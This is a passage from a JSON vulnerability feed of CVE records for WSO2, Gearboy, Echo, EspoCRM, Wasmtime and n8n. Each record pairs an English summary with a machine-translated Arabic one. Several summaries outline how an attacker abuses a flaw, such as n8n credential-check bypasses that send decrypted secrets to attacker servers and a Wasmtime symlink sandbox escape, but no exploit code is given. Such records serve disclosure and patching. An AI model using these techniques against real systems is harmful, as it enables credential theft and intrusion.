آخر."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-117574","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2494861","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-openshift-ai"},{"id":"CVE-2025-14260","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T20:17:14Z","product":"WSO2 WSO2 API Manager","affected":[["3.1.0 – <3.1.0.354","3.1.0.354"],["3.2.0 – <3.2.0.458","3.2.0.458"],["3.2.1 – <3.2.1.99","3.2.1.99"],["4.0.0 – <4.0.0.379","4.0.0.379"],["4.1.0 – <4.1.0.265","4.1.0.265"],["4.2.0 – <4.2.0.205","4.2.0.205"],["4.3.0 – <4.3.0.115","4.3.0.115"],["4.4.0 – <4.4.0.79","4.4.0.79"],["5.10.0 – <5.10.0.374","5.10.0.374"],["2.0.0 – <2.0.0.403","2.0.0.403"],["2.0.0 – <2.0.0.423","2.0.0.423"],["5.10.0 – <5.10.0.383","5.10.0.383"]],"title":{"en":"Server Side Request Forgery in Multiple WSO2 Products Allows Access to Internal and External Resources","ar":"تزوير الطلب عبر الخادم (SSRF) في منتجات WSO2 متعددة يتيح الوصول إلى الموارد الداخلية والخارجية"},"summary":{"en":"Due to the improper implementation of access control rules, malicious actors could perform a Server Side Request Forgery (SSRF) attack on affected WSO2 Products. Exploiting this vulnerability allows a malicious actor to access both internal and external resources, available through the network or filesystem. This could potentially lead to unauthorized access to sensitive data and systems, regardless of whether these resources are located within a private network, as long as they are reachable by the WSO2 product.","ar":"نتيجة للتطبيق غير الصحيح لقواعد التحكم في الوصول، يمكن للجهات الخبيثة تنفيذ هجوم تزوير الطلب عبر الخادم (SSRF) على منتجات WSO2 المتأثرة. ويتيح استغلال هذه الثغرة للجهة الخبيثة الوصول إلى الموارد الداخلية والخارجية على حد سواء، والمتاحة عبر الشبكة أو نظام الملفات. وقد يؤدي ذلك إلى الوصول غير المصرح به إلى البيانات والأنظمة الحساسة، بغض النظر عما إذا كانت هذه الموارد تقع داخل شبكة خاصة، طالما أنه يمكن لمنتج WSO2 الوصول إليها."},"refs":[["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4050/","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wso2-api-manager"},{"id":"CVE-2026-61542","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T19:48:42Z","product":"drhelius Gearboy","affected":[],"title":{"en":"Gearboy advisory / Gearsystem body: Unauthenticated network exposure of MCP HTTP tools","ar":"إشعار Gearboy / مكون Gearsystem: كشف شبكي دون مصادقة لأدوات MCP HTTP"},"summary":{"en":"Gearboy is a Game Boy, Game Boy Color, and Super Game Boy emulator and debugger with an embedded MCP server. Gearsystem, the affected component, has an optional `--mcp-http` mode that accepts unauthenticated MCP requests from any reachable network peer despite localhost-only documentation and logging. In the described `platforms/shared/desktop/mcp/mcp_transport.h` transport, the socket binds `INADDR_ANY`, normally on port 7777, and POST requests to `/mcp` reach dispatch without `Authorization`, `Host`, or `Origin` checks. Responses and OPTIONS advertise `Access-Control-Allow-Origin: *`. A peer can initialize an MCP session and invoke exposed emulator/debugging operations; even a garbage bearer token does not block dispatch, while a loopback-bind negative control prevents network access. The reported impact is bounded to the emulator process, debugging state, and local files accepted as media, rather than demonstrated host code execution. Gearboy 3.8.7 contains a patch.","ar":"يُعد Gearboy محاكيًا ومصحح أخطاء لأجهزة Game Boy وGame Boy Color وSuper Game Boy مع خادم MCP مدمج. يحتوي مكون Gearsystem المتأثر على وضع `--mcp-http` اختياري يقبل طلبات MCP دون مصادقة من أي نظير شبكي يمكن الوصول إليه على الرغم من التوثيق والتسجيل اللذين يشيران إلى الجهاز المحلي فقط. في طبقة النقل الموضحة `platforms/shared/desktop/mcp/mcp_transport.h`، ترتبط المقبس بـ `INADDR_ANY`، عادةً على المنفذ 7777، وتصل طلبات POST إلى `/mcp` لتتم معالجتها دون إجراء فحوصات `Authorization` أو `Host` أو `Origin`. تعلن الاستجابات وطلبات OPTIONS عن `Access-Control-Allow-Origin: *`. يمكن لأي نظير تهيئة جلسة MCP واستدعاء عمليات المحاكاة أو التصحيح المكشوفة؛ وحتى رمز الحامل غير الصالحة (bearer token) لا يمنع المعالجة، بينما يؤدي الربط الحلقي السلبي (loopback-bind) إلى منع الوصول إلى الشبكة. يقتصر التأثير المبلغ عنه على عملية المحاكي، وحالة تصحيح الأخطاء، والملفات المحلية المقبولة كوسائط، بدلاً من تنفيذ شيفرة مُثبتة على المضيف. يحتوي الإصدار Gearboy 3.8.7 على تصحيح."},"refs":[["https://github.com/drhelius/Gearboy/security/advisories/GHSA-fmvx-487g-mrww","ref"],["https://github.com/drhelius/Gearboy/commit/e2ead98e2fac41e9df5a499e9e421c6a0e73f1bc","ref"],["https://github.com/drhelius/Gearboy/releases/tag/3.8.7","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"drhelius-gearboy"},{"id":"CVE-2026-118650","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-177","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T19:25:02Z","product":"labstack echo","affected":[],"title":{"en":"Echo: middleware.Static: `%2F`-encoded path bypasses route/group middleware guarding a statically-served path","ar":"Echo: middleware.Static: تجاوز مسار مشفر بنمط %2F لوسيط التوجيه/المجموعة الذي يحمي مسارًا مخدومًا ثابتًا"},"summary":{"en":"Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, a globally mounted middleware.Static instance can interpret an encoded request path differently from Echo's router because the router matches the still-encoded path while the static handler uses the decoded URL.Path. The advisory demonstrates an encoded slash resolving to a file under the static root through the global static middleware, but the source is internally inconsistent about whether a route or group guard protects the corresponding literal path in that global-mount configuration. This issue is fixed in 4.16.0 and 5.4.0.","ar":"Echo هو إطار عمل ويب بلغة Go. قبل الإصدارين 4.16.0 و5.4.0، يمكن مثيل middleware.Static المُثبّت عالميًا تفسير مسار الطلب المُفرّض بشكل مختلف عن موجه Echo لأن الموجه يطابق المسار الذي لا يزال مُفرّضًا بينما يستخدم المعالج الثابت متغير URL.Path المفكوك. يوضح الإرشاد أن الشرطة المائلة المشفرة يتم حلها إلى ملف ضمن الجذر الثابت عبر الوسيط الثابت العمومي، ولكن المصدر غير متسق داخليًا فيما إذا كان موجه المسار أو حماية المجموعة تحمي المسار الحرفي المقابل في تكوين التثبيت العمومي هذا. تم إصلاح هذه المشكلة في الإصدارين 4.16.0 و5.4.0."},"refs":[["https://github.com/labstack/echo/security/advisories/GHSA-375p-5qhx-8wq4","ref"],["https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1","ref"],["https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af","ref"],["https://github.com/labstack/echo/releases/tag/v4.16.0","ref"],["https://github.com/labstack/echo/releases/tag/v5.4.0","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"labstack-echo"},{"id":"CVE-2026-118686","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:35Z","product":"espocrm espocrm","affected":[["10.0.0 – <10.0.8","10.0.8"],["0 – <9.3.11","9.3.11"]],"title":{"en":"EspoCRM before 9.3.11 and 10.0.8 Unauthenticated Denial of Service via Password-Redaction Regex","ar":"EspoCRM للإصدارات قبل 9.3.11 و 10.0.8 تعاني من حجب الخدمة دون مصادقة عبر التعبير النمطي لحجب كلمات المرور"},"summary":{"en":"EspoCRM before 9.3.11 and 10.x before 10.0.8 contains a denial of service vulnerability in which the password-redaction regular expression applied during API error handling consumes excessive CPU on long request bodies. Unauthenticated remote attackers can concurrently send a small number of large API requests to exhaust server workers, making EspoCRM slow or unavailable to legitimate users.","ar":"تحتوي إصدارات EspoCRM التي تسبق الإصدار 9.3.11 والإصدارات 10.x التي تسبق الإصدار 10.0.8 على ثغرة حجب الخدمة حيث يقوم التعبير النمطي لحجب كلمات المرور المطبق أثناء معالجة أخطاء واجهة برمجة التطبيقات باستهلاك مفرط لوحدة المعالجة المركزية عند التعامل مع أجسام طلبات طويلة. يمكن لمهاجمين عن بُعد دون مصادقة إرسال عدد صغير من طلبات واجهة برمجة التطبيقات الكبيرة بشكل متزامن لاستنفاد عمال الخادم، مما يجعل EspoCRM بطيئاً أو غير متاح للمستخدمين الشرعيين."},"refs":[["https://github.com/espocrm/espocrm/security/advisories/GHSA-6pjq-v35w-jmjh","advisory"],["https://www.vulncheck.com/advisories/espocrm-before-9.3.11-and-10.0.8-unauthenticated-denial-of-service-via-password-redaction-regex","advisory"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"espocrm"},{"id":"CVE-2026-118688","cvss":7.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L","cwe":"CWE-61","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:35Z","product":"bytecodealliance wasmtime","affected":[["0 – <36.0.18","36.0.18"],["37.0.0 – <48.0.6","48.0.6"],["49.0.0 – <49.0.3","49.0.3"]],"title":{"en":"Wasmtime before 36.0.18, 37.0.0 before 48.0.6, and 49.0.0 before 49.0.3 Sandbox Escape via Symlink Rename","ar":"Wasmtime للإصدارات قبل 36.0.18، و37.0.0 قبل 48.0.6، و49.0.0 قبل 49.0.3 تعاني من الهروب من الصندوق الرمل عبر إعادة تسمية الروابط الرمزية"},"summary":{"en":"wasmtime-wasi in Wasmtime before 36.0.18, 37.0.0 before 48.0.6, and 49.0.0 before 49.0.3 re-appends a trailing slash to rename source paths, causing renameat on macOS and FreeBSD hosts to follow directory symlinks. A guest with sandbox write access can rename a relative symlink such as \"up/\" to move host directories into its sandbox and read or write them.","ar":"تقوم مكتبة wasmtime-wasi في Wasmtime للإصدارات قبل 36.0.18، و37.0.0 قبل 48.0.6، و49.0.0 قبل 49.0.3 بإعادة إلحاق شرطة مائلة لاحقة لمسارات مصدر إعادة التسمية، مما يتسبب في قيام دالة renameat على مضيفات macOS وFreeBSD باتباع الروابط الرمزية للدلائل. يمكن لضيف يمتلك صلاحية كتابة داخل الصندوق الرمل إعادة تسمية رابط رمزي نسبي مثل \"up/\" لنقل دلائل المضيف إلى داخل صندوقه الرمل وقراءتها أو كتابتها."},"refs":[["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-m9f7-9w4p-gv38","advisory"],["https://www.vulncheck.com/advisories/wasmtime-before-36.0.18-37.0.0-before-48.0.6-and-49.0.0-before-49.0.3-sandbox-escape-via-symlink-rename","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"bytecodealliance-wasmtime"},{"id":"CVE-2026-118679","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:34Z","product":"n8n-io n8n","affected":[["0 – <1.123.83","1.123.83"],["2.42.0 – <2.42.1","2.42.1"],["2.0.0 – <2.41.4","2.41.4"]],"title":{"en":"n8n before 1.123.83, 2.41.4, and 2.42.1 Slack Token Exfiltration via Slack Trigger","ar":"n8n للإصدارات قبل 1.123.83، و2.41.4، و2.42.1 تعاني من تسريب رمز Slack عبر مشغل Slack"},"summary":{"en":"n8n before 1.123.83, 2.41.4, and 2.42.1 contains a server-side request forgery vulnerability in the Slack Trigger webhook that allows unauthenticated attackers to exfiltrate Slack tokens by bypassing signature verification when no signing secret is set. Attackers who know the webhook URL can name a file to download, causing the node to send the workspace access token to an attacker host and return the response.","ar":"تحتوي إصدارات n8n التي تسبق 1.123.83 و2.41.4 و2.42.1 على ثغرة تزوير الطلبات من جهة الخادم في خطاف الويب الخاص بمشغل Slack والتي تتيح للمهاجمين الذين ليس لديهم مصادقة تسريب رموز Slack عبر تجاوز التحقق من التوقيع عندما لا يتم تعيين سر توقيع. يمكن للمهاجمين الذين يعرفون عنوان URL لخطاف الويب تسمية ملف لتنزيله، مما يتسبب في قيام العقدة بإرسال رمز وصول مساحة العمل إلى مضيف المهاجم وإرجاع الاستجابة."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-3c3p-5959-3ghr","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.83-2.41.4-and-2.42.1-slack-token-exfiltration-via-slack-trigger","advisory"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118648","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:33Z","product":"n8n-io n8n","affected":[["0 – <1.123.85","1.123.85"],["2.44.0 – <2.44.1","2.44.1"],["2.0.0 – <2.43.5","2.43.5"]],"title":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 Stored XSS via Webhook Responses Missing Sandbox Policy","ar":"n8n للإصدارات قبل 1.123.85، و2.43.5، و2.44.1 تعاني من تنفيذ البرمجة النصية بين المواقع المخزنة عبر استجابات خطاف الويب المفتقدة لسياسة الصندوق الرمل"},"summary":{"en":"n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 contains a stored cross-site scripting vulnerability because some webhook response paths, such as error responses and responses without headers, omit the sandbox Content-Security-Policy. Authenticated members who can create and activate workflows can serve HTML that runs on the n8n origin, letting scripts act with the session of users who open the webhook URL.","ar":"تحتوي إصدارات n8n التي تسبق 1.123.85، و2.x التي تسبق 2.43.5، و2.44.x التي تسبق 2.44.1 على ثغرة تنفيذ البرمجة النصية بين المواقع المخزنة لأن بعض مسارات استجابة خطاف الويب، مثل استجابات الأخطاء والاستجابات التي تفتقر إلى الترويسات، تتخلى عن تضمين سياسة أمان محتوى الصندوق الرمل (Content-Security-Policy). يمكن للأعضاء المصادق عليهم القادرين على إنشاء وتنشيط سير العمل تقديم لغة HTML تعمل على أصل n8n، مما يسمح للscripts بالعمل بصلاحيات جلسة المستخدمين الذين يفتحون عنوان URL لخطاف الويب."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-mp7q-23hg-35cf","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.85-2.43.5-and-2.44.1-stored-xss-via-webhook-responses-missing-sandbox-policy","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118675","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:33Z","product":"n8n-io n8n","affected":[["0 – <1.123.85","1.123.85"],["2.44.0 – <2.44.1","2.44.1"],["2.0.0 – <2.43.5","2.43.5"]],"title":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 Credential Guard Bypass via Execute Sub-workflow","ar":"n8n للإصدارات قبل 1.123.85، و2.43.5، و2.44.1 تعاني من تجاوز حماية بيانات الاعتماد عبر تنفيذ سير العمل الفرعي"},"summary":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 contains a credential guard bypass vulnerability that allows editors of shared workflows to use restricted credentials by loading sub-workflows from URLs or local files. Attackers can configure the Execute Sub-workflow node with source url or localFile to serve content that resolves project credentials and returns their decrypted values.","ar":"تحتوي إصدارات n8n التي تسبق 1.123.85، و2.43.5، و2.44.1 على ثغرة تجاوز حماية بيانات الاعتماد التي تتيح لمحرري سير العمل المشترك استخدام بيانات اعتماد مقيدة عن طريق تحميل سير عمل فرعي من عناوين URL أو ملفات محلية. يمكن للمهاجمين تكوين عقدة تنفيذ سير العمل الفرعي باستخدام عنوان URL للمصدر أو ملف محلي لتوفير محتوى يقوم بحل بيانات اعتماد المشروع وإرجاع قيمها مفكوكة التشفير."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-8crx-5h96-q72q","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.85-2.43.5-and-2.44.1-credential-guard-bypass-via-execute-sub-workflow","advisory"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118676","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:33Z","product":"n8n-io n8n","affected":[["0 – <1.123.85","1.123.85"],["2.44.0 – <2.44.1","2.44.1"],["2.0.0 – <2.43.5","2.43.5"]],"title":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 Credential Permission Check Bypass","ar":"n8n للإصدارات قبل 1.123.85، و2.43.5، و2.44.1 تعاني من تجاوز فحص إذن بيانات الاعتماد"},"summary":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 contains an authorization bypass vulnerability that allows member users to use credentials they cannot access by omitting default node parameters. Attackers can save and run workflows where pre-execution checks skip credential slots, causing decrypted credential values to be sent to attacker-chosen destinations.","ar":"تحتوي إصدارات n8n التي تسبق 1.123.85، و2.43.5، و2.44.1 على ثغرة تجاوز التفويض التي تتيح للمستخدمين الأعضاء استخدام بيانات اعتماد لا يمكنهم الوصول إليها من خلال حذف معاملات العقدة الافتراضية. يمكن للمهاجمين حفظ وتشغيل سير عمل تتخطى فيه عمليات التحقق التي تسبق التنفيذ خانات بيانات الاعتماد، مما يؤدي إلى إرسال قيم بيانات الاعتماد المفكوكة إلى وجهات يختارها المهاجم."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-v9cx-v88r-42vw","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.85-2.43.5-and-2.44.1-credential-permission-check-bypass","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118642","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:32Z","product":"n8n-io n8n","affected":[["0 – <1.123.85","1.123.85"],["2.44.0 – <2.44.1","2.44.1"],["2.0.0 – <2.43.5","2.43.5"]],"title":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 Credential Permission Check Bypass via Inline Sub-Workflows","ar":"n8n للإصدارات قبل 1.123.85، و2.43.5، و2.44.1 تعاني من تجاوز فحص إذن بيانات الاعتماد عبر سير العمل الفرعي المضمن"},"summary":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 contains an authorization bypass vulnerability that allows authenticated members to use inaccessible credentials through inline sub-workflow nodes with non-boolean disabled values. Attackers knowing a credential id can run Execute Workflow nodes in inline JSON mode that skip the permission check and send decrypted credentials to attacker-controlled servers.","ar":"تحتوي إصدارات n8n التي تسبق 1.123.85، و2.43.5، و2.44.1 على ثغرة تجاوز التفويض التي تتيح للملتحقين المصادق عليهم استخدام بيانات اعتماد غير قابلة للوصول من خلال عقد سير العمل الفرعي المضمنة ذات قيم التعطيل غير المنطقية (non-boolean). يمكن للمهاجمين الذين يعرفون معرف بيانات الاعتماد تشغيل عقد تنفيذ سير العمل في وضع JSON المضمن والتي تتخطى فحص الإذن وترسل بيانات الاعتماد مفكوكة التشفير إلى خوادم يتحكم بها المهاجم."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-8vrr-mgc5-jg55","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.85-2.43.5-and-2.44.1-credential-permission-check-bypass-via-inline-sub-workflows","advisory"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118643","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-209","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:32Z","product":"n8n-io n8n","affected":[["0 – <1.123.85","1.123.85"],["2.44.0 – <2.44.1","2.44.1"],["2.0.0 – <2.43.5","2.43.5"]],"title":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 Credential Exposure via Node Execution Error Data","ar":"n8n للإصدارات قبل 1.123.85، و2.43.5، و2.44.1 تعاني من كشف بيانات الاعتماد عبر بيانات أخطاء تنفيذ العقدة"},"summary":{"en":"n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 stores credential secrets in execution error data when operations fail in the Git, MongoDB Atlas Vector Store, and Google Cloud Storage nodes. Users who can view a workflow's executions but cannot read the credential can recover Git passwords or tokens, MongoDB database passwords, or Google access tokens from that data.","ar":"تحتوي إصدارات n8n التي تسبق 1.123.85، و2.x التي تسبق 2.43.5، و2.44.x التي تسبق 2.44.1 على ثغرة تقوم بتخزين أسرار بيانات الاعتماد في بيانات أخطاء التنفيذ عندما تفشل العمليات في عُقد Git وMongoDB Atlas Vector Store وGoogle Cloud Storage. يمكن للمستخدمين القادرين على عرض عمليات تنفيذ سير العمل ولكن غير القادرين على قراءة بيانات الاعتماد استعادة كلمات مرور أو رموز Git، أو كلمات مرور قاعدة بيانات MongoDB، أو رموز وصول Google من تلك البيانات."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-qmvv-q3c9-wpp7","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.85-2.43.5-and-2.44.1-credential-exposure-via-node-execution-error-data","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118644","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-266","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:32Z","product":"n8n-io n8n","affected":[["2.42.0 – <2.42.2","2.42.2"],["0 – <2.41.5","2.41.5"]],"title":{"en":"n8n before 2.41.5 and 2.42.2 Credential Theft via Error-Workflow Context Inheritance","ar":"ثغرة عالية الخطورة في n8n-io n8n"},"summary":{"en":"n8n before 2.41.5 and 2.42.x before 2.42.2 passes a failed workflow's full execution context, including the identity of the user who started the run, to the configured error workflow. A project editor can set a colleague's workflow settings.errorWorkflow to an error workflow they own, inherit the colleague's identity when that workflow fails, and resolve the colleague's per-user dynamic credential secrets.","ar":"n8n before 2.41.5 and 2.42.x before 2.42.2 passes a failed workflow's full execution context, including the identity of the user who started the run, to the configured error workflow. A project editor can set a colleague's workflow settings.errorWorkflow to an error workflow they own, inherit the colleague's identity when that workflow fails, and resolve the colleague's per-user dynamic credential secrets."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-pcr3-v5vr-qppf","advisory"],["https://www.vulncheck.com/advisories/n8n-before-2.41.5-and-2.42.2-credential-theft-via-error-workflow-context-inheritance","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118647","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-532","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T19:17:32Z","product":"n8n-io n8n","affected":[["0 – <1.123.85","1.123.85"],["2.44.0 – <2.44.1","2.44.1"],["2.0.0 – <2.43.5","2.43.5"]],"title":{"en":"n8n before 1.123.85, 2.43.5, and 2.44.1 SeaTable Trigger API Token Exposure via Execution Data","ar":"n8n قبل الإصدارات 1.123.85 و2.43.5 و2.44.1: تعرض رمز SeaTable Trigger API Token عبر بيانات التنفيذ"},"summary":{"en":"n8n before 1.123.85, 2.x before 2.43.5, and 2.44.x before 2.44.1 saves the SeaTable Trigger node's API token in error execution data, because failed poll requests store raw request headers. Users who can view workflow executions but cannot read the credential can recover the token and access the connected SeaTable base.","ar":"تقوم إصدارات n8n قبل 1.123.85، والإصدارات 2.x قبل 2.43.5، والإصدارات 2.44.x قبل 2.44.1 بحفظ رمز API الخاص بعقدة SeaTable Trigger في بيانات تنفيذ الأخطاء، نظراً لأن طلبات الاستطلاع الفاشلة تخزن رؤوس الطلبات الخام. يمكن للمستخدمين القادرين على عرض عمليات تنفيذ سير العمل ولكن غير القادرين على قراءة بيانات الاعتماد استعادة الرمز والوصول إلى قاعدة SeaTable المتصلة."},"refs":[["https://github.com/n8n-io/n8n/security/advisories/GHSA-crfj-5wv6-8v86","advisory"],["https://www.vulncheck.com/advisories/n8n-before-1.123.85-2.43.5-and-2.44.1-seatable-trigger-api-token-exposure-via-execution-data","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-118264","cvss":9.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-444","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T19:17:31Z","product":"labstack echo","affected":[],"title":{"en":"Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls","ar":"Echo: يمكن لترقيات WebSocket المرفوضة تجاوز ضوابط الوصول على مستوى المسار في Echo"},"summary":{"en":"Echo is a Go web framework. From 4.0.0 until 4.16.1 and 5.4.1, Echo's Proxy middleware selects a raw tunnel from a client WebSocket upgrade request before verifying that the configured upstream accepted the upgrade. If the upstream rejects the upgrade with an ordinary keep-alive response, later HTTP requests on the connection are sent directly to that upstream without passing through Echo's router or route-specific middleware. This can bypass authentication or authorization enforced only by Echo routes, but requires an accessible proxy route, a cooperating rejected-upgrade response, and a target without independent upstream authorization. This issue is fixed in 4.16.1 and 5.4.1.","ar":"Echo هو إطار عمل ويب بلغة Go. من الإصدار 4.0.0 حتى 4.16.1 و5.4.1، يقوم وسيط Proxy الخاص بـ Echo باختيار نفق خام من طلب ترقية WebSocket من العميل قبل التحقق مما إذا كان الخادم المنبع المُكوّن قد قبل الترقية. إذا رفض الخادم المنبع الترقية باستخدام استجابة الحفاظ على الاتصال العادية، فإن طلبات HTTP اللاحقة على الاتصال تُرسل مباشرة إلى ذلك الخادم المنبع دون المرور عبر موجه Echo أو الوسيط الخاص بالمسار. يمكن أن يؤدي هذا إلى تجاوز المصادقة أو التفويض المفروضين فقط بواسطة مسارات Echo، ولكنه يتطلب مسار وكيل متاحاً، واستجابة ترقية مرفوضة متعاونة، وهدفاً بدون تفويض منبع مستقل. تمت معالجة هذه الثغرة في الإصدارين 4.16.1 و5.4.1."},"refs":[["https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec","ref"],["https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f","ref"],["https://github.com/labstack/echo/releases/tag/v4.16.1","ref"],["https://github.com/labstack/echo/releases/tag/v5.4.1","ref"],["https://github.com/labstack/echo/security/advisories/GHSA-cxf3-9h37-7rr8","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"labstack-echo"},{"id":"CVE-2026-118260","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T19:17:30Z","product":"labstack echo","affected":[],"title":{"en":"Echo: BodyDump captures request and response bodies without size limits in v4","ar":"Echo: يلتقط BodyDump أجسام الطلبات والاستجابات دون حدود للحجم في الإصدار v4"},"summary":{"en":"Echo is a Go web framework. From 4.0.0 until 4.16.1, Echo v4's opt-in BodyDump middleware reads complete request bodies into memory before handlers run and retains complete response bodies for the dump callback without capture limits. An unauthenticated client that can reach a route using BodyDump can submit large bodies or influence 